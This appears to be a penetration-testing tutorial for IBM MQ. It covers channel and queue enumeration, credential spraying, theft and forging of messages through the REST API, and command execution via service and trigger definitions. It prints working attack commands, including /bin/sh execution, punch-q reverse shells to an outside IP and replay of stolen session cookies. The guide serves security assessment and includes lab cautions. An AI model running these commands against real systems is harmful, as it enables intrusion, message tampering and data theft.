1414 - Pentesting IBM MQ
Basic information
IBM MQ is messaging middleware built around queue managers, queues, topics, channels, and related objects. It receives, stores, and forwards messages between producing and consuming applications; business processing and classification are normally performed by the connected applications or configured routing components.[3]
IBM MQ examples and developer images commonly expose a queue-manager listener on TCP 1414, but listener ports are configurable. When mqweb is enabled, the Console and REST APIs commonly use HTTPS 9443. The IBM MQ container’s optional Prometheus metrics endpoint commonly uses TCP 9157; this is not a universal queue-manager protocol port.[3][7]
What a client can do through an MQ listener depends on the selected SVRCONN channel, CHLAUTH mapping, authentication, and Object Authority Manager (OAM) permissions. A highly privileged identity may manipulate messages and administer queue-manager objects; an ordinary application identity should be much more restricted.
IBM provides a large technical documentation available on https://www.ibm.com/docs/en/ibm-mq.[3]
Tools
A convenient assessment tool is punch-q, which uses the Python pymqi library and can also run from Docker.[11]
For a more manual approach, use the Python library pymqi. IBM MQ dependencies are needed.
Installing pymqi
The following procedure is a legacy IBM MQ 9.0.0.4 installation recipe retained for reproducing older tooling environments. Prefer a current supported redistributable IBM MQ client for new labs; it is relocatable and does not require a system RPM installation.[10]
- Create an account (IBMid) on https://login.ibm.com/.
- Download IBM MQ libraries from https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. For Linux x86_64 it is 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Decompress (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz). - Run
sudo ./mqlicense.shto accept licenses terms.
[!CAUTION] The historical workaround below disables the package’s platform check. Use it only in a disposable lab with the matching archived package; for a normal system, use a supported client package instead.
On the old Kali setup, the workaround was to modify
mqlicense.shand remove/comment these lines:if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Install these packages:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Temporarily add the client shared libraries to the loader path before running dependent tools:
export LD_LIBRARY_PATH=/opt/mqm/lib64.
Then, you can clone the project pymqi: it contains interesting code snippets, constants, … Or you can directly install the library with: pip install pymqi.
Using punch-q
With Docker
Simply use: sudo docker run --rm -ti leonjza/punch-q.
Without Docker
Clone the project punch-q then follow the readme for installation (pip install -r requirements.txt && python3 setup.py install).
After, it can be used with punch-q command.
Enumeration
You can try to enumerate the queue manager name, the users, the channels and the queues with punch-q or pymqi.[1]
If TCP/1414 is filtered or the target only exposes the embedded web server, check TCP/9443 too. Recent IBM MQ versions expose the IBM MQ Console / REST API there by default when mqweb is enabled, and the administrative REST endpoint can execute arbitrary MQSC commands if you have valid credentials.[3]
Do not assume that every successful mqweb login unlocks the same surface. In IBM MQ, MQWebAdmin / MQWebAdminRO cover the administrative REST API, but the messaging REST API requires MQWebUser plus the underlying OAM rights on queues or topics. Also, from 9.4.0, mqweb can run as a stand-alone IBM MQ Web Server on Linux: in that deployment the messaging REST API can still front remote queue managers while the administrative REST API is unavailable. Therefore, a dead or missing /admin/ path does not mean /messaging/ is absent.[3]
Do not limit yourself to the administrative REST API. IBM also exposes a messaging REST API on the same listener, so valid mqweb credentials can be enough to:[5]
- browse messages from a queue with
GET /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message - destructively get messages with
DELETE /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message - put attacker-controlled messages with
POST /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message
That matters in real environments where 1414 is ACL-restricted but the web console on 9443 is reachable from jump hosts, VPN ranges, or Kubernetes ingress.
Queue Manager
Sometimes, there is no protection against getting the Queue Manager name:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Channels
punch-q is using an internal (modifiable) wordlist to find existing channels. Usage example:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Some IBM MQ instances or developer channels accept connections without an application-supplied username/password; in that case omit the credential options. The channel can still map the connection to a local identity, and OAM rights determine subsequent access.
As soon as we get one channel name (here: DEV.ADMIN.SVRCONN), we can enumerate all other channels.[2]
The enumeration can basically be done with this code snippet code/examples/dis_channels.py from pymqi:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
… But punch-q also embed that part (with more infos!). It can be launch with:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
Users / password spraying
Once you know a valid SVRCONN channel, punch-q has a discover users mode for testing candidate IBM MQ credentials against that channel. This can lock accounts or trigger monitoring, so use a small approved candidate set and honor the target’s rate/lockout policy.
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover users --channel DEV.ADMIN.SVRCONN
IBM MQ can validate supplied identities against the local operating system or LDAP, and applications may also present service-account credentials. When choosing an explicitly approved candidate set, include documented operating-system, directory, and service-account credentials that may have been reused for MQ; do not assume reuse.[12]
A TLS error instead of authorization reason code 2035 can indicate that the candidate channel exists but requires a compatible SSLCIPH and possibly client-certificate material. Corroborate this because gateways can normalize errors.
If the channel list shows a non-empty SSL Cipher, or punch-q says a channel “wants SSL”, shift to client-artifact looting instead of blind spraying. IBM MQ clients can inherit channel and TLS settings from a CCDT (AMQCLCHL.TAB or JSON), mqclient.ini, and a key repository. Hunt for MQCCDTURL, MQCHLLIB, MQCHLTAB, mqclient.ini, *.kdb, *.sth, and *.p12 files in application servers, CI jobs, containers, or Kubernetes Secrets. Recent IBM MQ versions also support HTTPS-hosted CCDTs, so a leaked MQCCDTURL=https://... can be enough to recover queue-manager names, channel names, hosts, ports, and TLS requirements without first touching the MQ server itself.
CHLAUTH / OAM recon
A lot of “it connects but returns 2035” cases are caused by CHLAUTH rules or by missing OAM permissions on the target objects.
If you already have administrative MQSC access, MATCH(RUNCHECK) is the fastest way to understand which rule will be applied to a remote connection:
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR
Through the REST admin endpoint on 9443, the same check can be done remotely:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
If you have enough rights to use PCF remotely, IBM exposes MQCMD_INQUIRE_CHLAUTH_RECS, which returns the channel authentication records and their mappings to MCAUSER. That is useful to confirm whether a channel maps remote users to a more privileged local account before trying message access, object creation, or service abuse.
Effective authorities
Once you have a working identity, spend a minute checking what that principal can really do before assuming a failed PCF request means “wrong credentials”. IBM documents three complementary ways to inspect OAM permissions:[3]
DISPLAY AUTHRECover MQSCdspmqauton the hostMQCMD_INQUIRE_ENTITY_AUTHover PCF
The practical offensive value is high because many remote-admin actions depend on a small set of system objects. For example, PCF administration usually needs the ability to put a command onto SYSTEM.ADMIN.COMMAND.QUEUE and to create/read the dynamic reply queue derived from SYSTEM.DEFAULT.MODEL.QUEUE.
With MQSC access:
echo "DISPLAY AUTHREC PROFILE(SYSTEM.ADMIN.COMMAND.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
| runmqsc MYQUEUEMGR
echo "DISPLAY AUTHREC PROFILE(SYSTEM.DEFAULT.MODEL.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
| runmqsc MYQUEUEMGR
Via the REST admin endpoint:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY AUTHREC PROFILE(SYSTEM.ADMIN.COMMAND.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
If you later obtain shell access on the MQ host, dspmqaut gives the same answer without going through MQSC:
dspmqaut -m MYQUEUEMGR -t queue -n SYSTEM.ADMIN.COMMAND.QUEUE -p app
dspmqaut -m MYQUEUEMGR -t queue -n SYSTEM.DEFAULT.MODEL.QUEUE -p app
Queues
There is a code snippet with pymqi (dis_queues.py) but punch-q permits to retrieve more pieces of info about the queues:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Topics / subscriptions
IBM MQ also supports publish/subscribe. With administrative rights, an administrative subscription can route publications matching a topic string into a destination queue for later inspection.[8]
[!CAUTION] Defining a queue/subscription changes queue-manager state and may capture sensitive production traffic. Use the following commands only in an authorized lab or with explicit approval and remove the created objects afterward.
Quick recon examples:
echo "DISPLAY TOPIC(*) TOPICSTR" | runmqsc MYQUEUEMGR
echo "DISPLAY SUB(*) ALL" | runmqsc MYQUEUEMGR
Create a queue and durable wildcard subscription for a whole topic tree:
echo "DEFINE QLOCAL(HACK.SUBQ) REPLACE" | runmqsc MYQUEUEMGR
echo "DEFINE SUB(HACK.SUB) TOPICSTR('dev/#') DEST(HACK.SUBQ) DESTCLAS(PROVIDED) WSCHEMA(TOPIC) REPLACE" | runmqsc MYQUEUEMGR
From there, matching publications arrive on HACK.SUBQ like ordinary queue messages. If 1414 is blocked but the admin REST API on 9443 is reachable, the same MQSC can be sent through /ibmmq/rest/v3/admin/action/qmgr/<qmgr>/mqsc. Application pub/sub rights alone do not normally grant authority to define administrative objects.
Exploit
Dump messages
You can target queue(s)/channel(s) to sniff out / dump messages from them (non-destructive operation).[1] Examples:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
Assess every in-scope queue, but use browse/non-destructive operations first and avoid consuming production messages.
Dump / put messages through 9443
If you only have access to the embedded web server, the messaging REST API can still be enough to browse, steal, replay, or delete business messages without touching the MQ client port.[5]
Browse the next message non-destructively:
curl -sku 'app:passw0rd' \
https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message
Destructively get the next message:
curl -sku 'app:passw0rd' \
-X DELETE \
-H 'ibm-mq-rest-csrf-token: anything' \
https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message
Inject a forged message:
curl -sku 'app:passw0rd' \
-X POST \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data 'hacktricks-test' \
https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message
This is useful when:
1414is not reachable from your workstation- the environment routes the MQ Console through a reverse proxy or ingress controller
- you want to validate message tampering separately from administrative rights
The same listener can also publish directly to a topic string, which is useful when the target application consumes pub/sub messages instead of local queues:[5]
curl -sku 'app:passw0rd' \
-X POST \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data 'approved=true' \
https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/topic/dev/orders/message
Code execution
Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in IBM MQ documentation.
PCF (Programmable Command Formats) is what we are focused on to interact remotely with the instance. punch-q and furthermore pymqi are based on PCF interactions.You can find a list of PCF commands:
One interesting command is
MQCMD_CREATE_SERVICEand its documentation is available here. It takes as argument aStartCommandpointing to a local program on the instance (example:/bin/sh).There is also a warning of the command in the docs: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”
IBM MQ also exposes an HTTP endpoint at
/admin/action/qmgr/{qmgrName}/mqscfor equivalent MQSC commands such asDEFINE SERVICE; the REST workflow is shown below.
If MQ Console / REST API credentials are available, you can often reach the same administrative primitives over HTTPS on 9443 without using the MQ client libraries. IBM documents /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc as an endpoint that accepts plain-text MQSC or JSON commands.[4]
The service creation / deletion with PCF for remote program execution can be done by punch-q:
Example 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
In the logs of IBM MQ, you can read the command is successfully executed:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
You can also enumerate existing programs on the machine (here /bin/doesnotexist … does not exist):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Program launch is asynchronous, so observe its effect through an approved side channel such as a harmless file in a lab, application logs, or a controlled callback listener.
The same technique can be driven from the REST API:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
This is especially useful during assessments where:
9443is reachable but1414is restricted to a smaller source range- The target team manages IBM MQ mainly through the web console and has forgotten to harden the REST roles
- You want to avoid installing IBM MQ client libraries locally and only need MQSC-level administration
If the environment uses token-based authentication instead of HTTP Basic, IBM’s mqweb login endpoint returns an LtpaToken2 cookie that can be replayed on later requests until it expires (120 minutes by default). That means a stolen browser session or cookie jar can be enough for both message access and admin actions on 9443.[6]
curl -sk -c /tmp/mq.cookies \
-H 'Content-Type: application/json' \
--data '{"username":"admin","password":"passw0rd"}' \
https://TARGET:9443/ibmmq/rest/v3/login
curl -sk -b /tmp/mq.cookies \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY QMGR ALL" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Trigger-based program launch
DEFINE SERVICE is not the only path to code execution. IBM MQ triggering can start an application when a message lands on a queue, so environments that already rely on trigger monitors can sometimes be abused by swapping the PROCESS object tied to a triggered queue.[9]
Start with recon:
echo "DISPLAY QLOCAL(*) INITQ PROCESS TRIGGER TRIGTYPE" | runmqsc MYQUEUEMGR
echo "DISPLAY PROCESS(*) APPLICID APPLTYPE USERDATA" | runmqsc MYQUEUEMGR
If you find a queue with a live INITQ, the following lab sequence demonstrates the risk of replacing its process association:
[!CAUTION]
ALTER QLOCALchanges an existing application’s behavior. Record the original attributes and run this only in a disposable lab or with explicit change approval; restore the queue and deleteHACKPROCafterward.
echo "DEFINE PROCESS(HACKPROC) REPLACE APPLTYPE(UNIX) APPLICID('/bin/sh') USERDATA('-c id >/tmp/mq.trigger')" | runmqsc MYQUEUEMGR
echo "ALTER QLOCAL(APP.INPUT) PROCESS(HACKPROC) TRIGGER TRIGTYPE(FIRST)" | runmqsc MYQUEUEMGR
Then put a message on APP.INPUT with punch-q or the messaging REST API to fire the trigger. This primitive depends on a trigger monitor actively serving the queue’s INITQ; when it does, IBM documents that the triggered application runs under the user that started the trigger monitor (or the queue manager, depending on platform / setup).
Example 2
For easy reverse shell, punch-q proposes also two reverse shell payloads :
- One with bash
- One with perl
Of course you can build a custom one with the execute command.
For bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
For perl:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Custom PCF
You can dig into the IBM MQ documentation and directly use pymqi python library to test specific PCF command not implemented in punch-q.
Example:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
If you cannot find the constant names, you can refer to the IBM MQ documentation.
_Example for
MQCMD_REFRESH_CLUSTER(Decimal = 73). It needs the parameterMQCA_CLUSTER_NAME(Decimal = 2029) which can be_(Doc: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
Testing environment
To test IBM MQ behavior safely, set up a local containerized environment:
- Having an account on ibm.com and cloud.ibm.com.
- Create a containerized IBM MQ with:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
Here, the queue manager name has been set to MYQUEUEMGR (variable MQ_QMGR_NAME).
Recent 9.4.x developer images changed the out-of-the-box behavior:[7]
adminandappare only created if you set their passwords- IBM documents
MQ_ADMIN_PASSWORD/MQ_APP_PASSWORDas deprecated from9.4.0.0 - The preferred way is to inject secrets named
mqAdminPasswordandmqAppPassword
For a quick local lab with Podman, you can create both users like this:
printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
With the default developer configuration:[7]
DEV.ADMIN.SVRCONNonly allows theadminuserDEV.APP.SVRCONNis the application channel and theappuser is the expected identityDEV.BASE.TOPICis created with topic stringdev/- the
appuser is usually grantedput,get,browse,inq,pub, andsubonDEV.*resources https://<target>:9443/ibmmq/consoleexposes the web console when the embedded web server is enabled
You should have the IBM MQ up and running with its ports exposed:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
The old version of IBM MQ docker images are at: https://hub.docker.com/r/ibmcom/mq/.
References
- [1] mgeeky’s gist - “Practical IBM MQ Penetration Testing notes”
- [2] MQ Jumping - DEFCON 15
- [3] IBM MQ documentation
- [4] IBM MQ REST API:
/admin/action/qmgr/{qmgrName}/mqsc - [5] IBM MQ messaging REST API
- [6] IBM MQ token-based authentication for the REST API
- [7] IBM MQ container default developer configuration
- [8] Defining an administrative subscription
- [9] Starting IBM MQ applications using triggers
- [10] Redistributable IBM MQ clients
- [11] SensePost – Punching Messages in the Q
- [12] IBM MQ - User identities in IBM MQ